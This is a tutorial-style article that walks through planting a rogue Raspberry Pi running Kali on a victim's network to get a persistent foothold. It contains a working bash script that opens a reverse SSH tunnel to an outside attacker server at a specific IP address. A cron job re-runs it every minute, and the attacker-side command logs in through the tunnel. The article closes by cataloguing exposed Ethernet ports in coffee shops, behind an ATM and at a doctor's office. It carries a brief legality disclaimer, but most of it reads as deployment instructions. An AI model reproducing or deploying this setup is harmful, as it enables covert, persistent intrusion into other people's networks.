How to Perform a Rogue Raspberry Pi Exploit

The goal of a cyber attack is to gain a foothold into the victim’s network. In the absence of a successful external attack on your servers, imagine that a malicious group can bypass your firewalls and fancy network scanners and get direct access to your network from the inside. An often-overlooked vulnerability exists from your exposed Ethernet ports. Gaining access to these unattended ports is the threat that allows rogue devices to expose your network. Exploiting this vulnerability comes in the form of a reverse shell.

Reverse shells are useful tools for system administrators to perform remote maintenance on hosts behind a firewall or NAT. A reverse shell is where the host (or victim) machine initiates outgoing shell connections to a command server and provides reverse shell capability. The remote host can then SSH back into the victim machine and establish a foothold on the compromised network. Once the SSL connection is in place, the hacker has a foothold into your network where they can monitor, perform recognizance, and launch attacks (e.g. ARP poisoning).

This works because most hosts on networks are protected from incoming connections by the firewall or IPS systems, but the firewall allows outgoing connections to a listening server. Great for legitimate network administration purposes, not so much as a vulnerability. The real power of this exploit is its ability to maintain persistence and allow you to pivot through the network.

Seemed far-fetched? Check out the images at the end of this document for all of the exposed Ethernet ports we found in public locations.

Lab Requirements

• Raspberry Pi 3b+
• Power Cable
• Ethernet Cable
• Raspberry Pi case
• Installed Kali Linux (SSH enabled)
• Hosted server for testing (I use Linode, but an Azure, or Amazon-hosted server work too)

Note: Installing Kali Linux is beyond the scope of this document and the following instructions assume that Kali is installed and running with the default user of kali.

An unlocked custodian’s closet that doesn’t get used a lot is the site of our kalipi deployment. Three of the four ports seem to be connected, so we plugged into an empty one labeled ‘Office.’

Lab Environment

Used in the wild, what we are doing is illegal and unethical and will get you in a lot of trouble, so don’t do it. These instructions use the safety of our homelab for this demonstration. Also, the initial setup is easier if you have access to both machines to make configuration changes and see the results immediately.

Let's get started with generating the SSH keys so we don’t have to provide usernames and passwords each time the connection is made. Kalipi in the following diagram is our rogue device that will be dropped on a victim’s network.

Generating SSH Keys to Automate the Login Process

Setting up SSH keys allows the kalipi to log into the attacking machine without providing a password. SSH keys allow us to automate the login process.

On the kalipi, type the following command to generate a public and private key.

$ ssh-keygen

You will be prompted for a passphrase. Press Enter to ignore the passphrase questions.

We need to copy these files to our command or listening computer. I’m using a Linode VPS, but you can use Amazon, Azure, or another service. Now transfer the public key to the attacking computer (66.175.216.41) with this command.

$ ssh-copy-id [email protected]

Enter the password for the user account.

The first time you make a connection request from the remote computer to the local computer, you will have to provide the passphrase. You should do this in the homelab environment so you can verify the connection.

Set up SSH Agent to store the keys to avoid having to re-enter passphrase at every login

Enter the following commands to start the agent and add the private SSH key.

$ ssh-agent $BASH$ ssh-add ~/.ssh/id_rsa

Type in your key’s current passphrase when asked. If you saved the private key somewhere other than the default location and name, you’ll have to specify it when adding the key.

Kali Turtle Pi SSH Connection Script

The way this works is that the kalipi (or the machine installed on the target network) needs to check to see if there is an active ssh connection, if not, then initiate an ssh connection to the attacking server. Persistence is important since once deployed, we will not have access to the hardware to make changes. So we need to get this right in our lab.

Create a bash shell script using your favorite editor called establish_ssh_connection.sh and add the following code. This script checks to see if an ssh process is running, if there is no process, then the script will try to establish a new one.

#!/usr/bin/bash

# Kali Turtle reverse ssh shell

# Replace USERNAME and IP with your info

now=$( date +%Y%m%d-%H%M-%S )

USERNAME=”slimedog”

IP=”66.175.216.41"

log=logs/ssh_log_file.txt

createTunnel() {

/usr/bin/ssh -N -R 2222:localhost:22 $USERNAME@$IP

if [[ $? -eq 0 ]]; then

echo $now “Tunnel to jumpbox created successfully “ $IP > $log

else

echo $now “Error: Host not found. “ $IP > $log

fi

}

/bin/pidof ssh

if [[ $? -ne 0 ]]; then

echo $now “Creating a new tunnel connection to: “ $IP > $log

createTunnel

fi

Save the file, exit, and make the script executable:

$ chmod 700 ./establish_ssh_connection.sh

This is a good time to test the script and check for errors. Run the script using the following command.

$ ./establish_ssh_connection.sh

Creating Persistence

This example works great in our lab environment but what if we don’t have access to the kalipi console? We can automate the process of making the SSH connection through the Linux crontab command.

A cron job is a command run by the cron daemon at regularly scheduled intervals. To submit a cron job, specify the crontab command with the -e flag. The crontab command invokes an editing session that allows you to create a crontab file.

We will add a cron entry to check every minute for an SSH connection. If an active SSH connection is not detected, crontab runs the command again until a connection is established. We can set anytime for the crontab entry to run, in our example we will check every minute.

$ crontab -e

At the bottom of the crontab file, enter the following line.

*/1 * * * * ~/home/kali/scripts/establish_ssh_connection.sh > log.txt 2>&1

Adding the log.txt file to output the results of the command can help troubleshoot any problems you have established the connection.

Save the file and exit.

The crontab entry runs the establish_ssh_connection.sh script once every minute. If there is no connection, cron runs the command again.

Checking for Connections

Once the rogue kalipi is deployed it's most likely that you do not have access to the secretly installed device to test for connectivity.

To check if the kalipi has made a successful ssh connection, use the netstat -lt command on the attacking computer to check the status of ssh connections. We are looking for an ssh connection to localhost:2222.

The first example shows that there is no active connection to localhost:2222 while the second screenshot shows a successful connection.

No Reverse Shell Connection

No Active SSH Connections on Port 2222

Successful Reverse Shell Connection

Active SSH Connection on Port 2222

Launching an Attack

Somehow, you’ve installed the kalipi on a victim’s network with nobody noticing and the hard part is done. The crontab entry and your establish_ssh_connection.sh script goes to work to establish a remote connection to our attacking machine.

The hacker can log in whenever he wants by creating a reverse shell.

Create Reverse SSH Shell

The attacking server waits for the kalipi to establish the ssh connection (which through our crontab entry happens every minute). When a connection is made, the hacker opens Port 2222 for a ssh connection. Connections to Port 2222 are then forwarded through the tunnel on the kalipi.

The hacker uses the following command to make a connection to the kalipi on the target network:

$ ssh -l kali -p 2222 localhost

Creating Reverse Shell Back to Attackers Machine

You should see the kalipi login prompt.

kali@localhost's password: kali

You now are logged into the kalipi and can use all of the Kali tools to enumerate and exploit the network.

kali@kali:~$

Congratulations, you now have a foothold on the internal network!

This walkthrough works well in our lab environment. Remember, once kalipi is deployed, you will not have access and need to automate the process through a shell script and a cron job. Do your homework and make sure everything works before deploying your tool.

Exposed Ethernet Networks

How realistic is this type of attack? These images are from a two-day period where I snapped a pic every time I saw an exposed Ethernet connection in a public location. These vulnerabilities are everywhere.

At the local coffee shop.

And then a few minutes down the road at another coffee shop.

At my local auto dealership.

Lots of juicy connections behind a public ATM. “NCR said… having ATM network communications cables and connections exposed in publicly accessible locations only invites trouble.”

Doctor’s Office

And the local big chain pet store.

Also Published Here